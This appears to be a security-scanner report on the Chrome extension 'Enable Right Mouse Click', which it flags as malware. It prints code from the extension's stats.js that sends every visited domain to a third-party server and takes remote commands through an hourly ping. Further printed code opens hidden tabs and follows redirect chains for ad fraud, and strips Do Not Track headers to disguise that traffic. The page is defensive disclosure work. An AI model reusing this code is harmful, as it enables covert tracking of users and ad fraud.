Security Alert: Confirmed Malware
Enable Right Mouse Click
ID: heijhiolmhfnbaeneacobnnjmlaljbce
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Enable Right Mouse ClickView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Extension allows you to activate the corresponding right click on websites that restrict text copying and context menus.
You can now enable right-clicking with this browser extension. Everyone is faced with the problem of selecting and copying text or displaying a context menu on the site. We saw that on many sites it is impossible to copy text or call the context menu in order, for example, to download an image, print a page, view the source code, etc. The Enable Right Mouse Button extension helps you enable the right-click feature on all sites that restrict text copying and context menu display. Install the extension and right-click will be automatically available on all sites. Functions: - Removing restrictions from copying text - Constant operation of the right mouse button - Select and copy text - Enabling the context menu - Removing any type of protection Our blog - https://hashtap.com/@rightclick
Every domain the user visits via HTTP GET (main_frame, status 200) is extracted from the URL and POSTed to https://research.2go2.top/stats.json alongside the hardcoded extension identifier `c7e16e72`. The domain research.2go2.top has no relationship to the extension's right-click purpose or the publisher's domain (hashtap.com), and no data collection is disclosed in the CWS listing. This is covert exfiltration of the user's complete browsing history to a third-party surveillance server.
chrome.webRequest.onCompleted.addListener(function(details) { var currentTime = (new Date()) .getTime(); var meoEnabled = stats.getPrefs("meoEnabled"); var domain = details.url.replace(/^(https?:\/\/[^\/]+).*$/, '$1'); if (meoEnabled === false) { return; } if (details.tabId < 0) { return; } if (details.statusCode != 200) { return; } if (details.method != "GET") { return; } if (stats.statsDomains[domain] && ((stats.statsDomains[domain] + (1000 * 60 * 60 * 2)) > currentTime)) { return; } stats.statsDomains[domain] = currentTime; stats.fetch('https://research.2go2.top/stats.json', { 'mID': stats.id, 'mS': domain }, function(requestOk, data) {The remote server at research.2go2.top can push arbitrary URLs via the `newTab` field in its response, causing the extension to open a browser tab to any advertiser or malware page (optionally in the background with tabActive=false) and auto-close it after a server-controlled timer. This is a textbook ad impression fraud mechanism: generating fake page views that are invisible to users. The URL opened is entirely under the attacker's control at runtime.
this.requestTab = function(tabUrl, tabActive, tabTimer) { tabActive = (tabActive) ? true : false; if (tabTimer === undefined) { tabTimer = 3000; } chrome.tabs.create({ 'url': tabUrl, 'active': tabActive }, function(tab) { if (tabTimer) { setTimeout(function() { try { chrome.tabs.remove(tab.id); } catch (e) {} }, tabTimer); } });}The server can push a `newXhr` URL causing the extension to silently follow up to 10 HTTP redirect hops by fetching each URL and parsing meta-refresh and JavaScript location= directives from the response body. This simulates user browser traffic through advertising redirect chains, generating fraudulent click counts on ad networks. The chained requests are made with a spoofed Accept header (via MEOaccept) to mimic a real browser visit.
this.requestXhr = function(url, cc) { if (!cc) { cc = 0; } cc += 1; if (cc > 10) { return; } var self = this; this.xhr(url, function(data) { data = data.replace(/[\n\r\s]/g, '') .replace(/\.href/g, ''); var link = data.replace(/^.*?metahttp\-equiv\="refresh\"content\="\d+\;URL\=([^\">]+).*$/i, "$1"); if (/^https?\:\/\//.test(link)) { self.requestXhr(link, cc); } else if (data.length < 1000) { var link2 = data.replace(/^.*?location\=[\'\"]([^\'\"]+).*$/, "$1"); if (/^https?\:\/\//.test(link2)) { self.requestXhr(link2, cc); } } });}On startup and every hour, the extension POSTs to https://research.2go2.top/ping.json with a hardcoded extension fingerprint ID (`c7e16e72`), stats component version, extension version, and a preference state value. This allows the operator to track the live install population and issue remote commands (newTab) during the ping response. This is a C2-style heartbeat to an undisclosed third-party server, completely unrelated to the extension's right-click purpose.
this.ping = function() { var self = this; var meoEnable = this.getPrefs("meoEnable"); this.fetch('https://research.2go2.top/ping.json', { 'mID': this.id, 'mV': version, 'mEV': extVersion, 'mE': meoEnable }, function(requestOk, data) { if (!requestOk) { return; } if (!data.success) { return; } if (data.newTab) { setTimeout(function() { self.requestTab(data.newTab, data.newTabActive, data.newTabTimer); }, 3000); } });}The extension intercepts all outgoing request headers across every URL and silently strips DNT (Do Not Track) headers — undermining the user's explicit privacy preference — and manipulates Origin headers. It also rewrites its own covert XHR requests (identified by a custom MEOaccept header) to look like normal browser Accept headers, actively disguising the click-fraud traffic it generates. The condition `if (/^https?:/.test(info.initiator)) return` means only extension-initiated (non-web-page) requests are modified, covering precisely the covert stats.js XHRs.
chrome.webRequest.onBeforeSendHeaders.addListener(function(info) { if (/^https?:\/\//.test(info.initiator)) { return; } var headers = info.requestHeaders; var headersNew = {}; var header = null; var isHeaderNew = false; while (header = headers.shift()) { if (/DNT/.test(header.name)) { isHeaderNew = true; } else if ((/Origin/.test(header.name)) && (!/^https?:\/\//.test(header.value))) { isHeaderNew = true; } else { headersNew[header.name] = header.value; } } if (headersNew['MEOaccept']) { headersNew['Accept'] = headersNew['MEOaccept']; headersNew['MEOaccept'] = undefined; delete headersNew['MEOaccept']; isHeaderNew = true; } }, { urls: ["http://*/*", "https://*/*"] }, ["blocking", "requestHeaders"]);By severity
Versions scanned
Showing 1 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.2.1 | 5 |
Files with findings
1 distinct path — top paths by unique finding count:
- js/stats.js5
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.